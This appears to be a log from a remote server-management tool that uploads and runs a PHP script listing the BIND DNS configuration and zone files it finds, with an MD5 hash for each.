MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 23:23:26: Establishing a connection
2026-04-23 23:23:26: 

PUT: /tmp/pkp145144

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 23:23:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp145144; rm /tmp/pkp145144'

2026-04-23 23:23:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 23:23:29: Establishing a connection
2026-04-23 23:23:29: 

PUT: /tmp/pkp313007

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 23:23:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp313007; rm /tmp/pkp313007'

2026-04-23 23:23:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
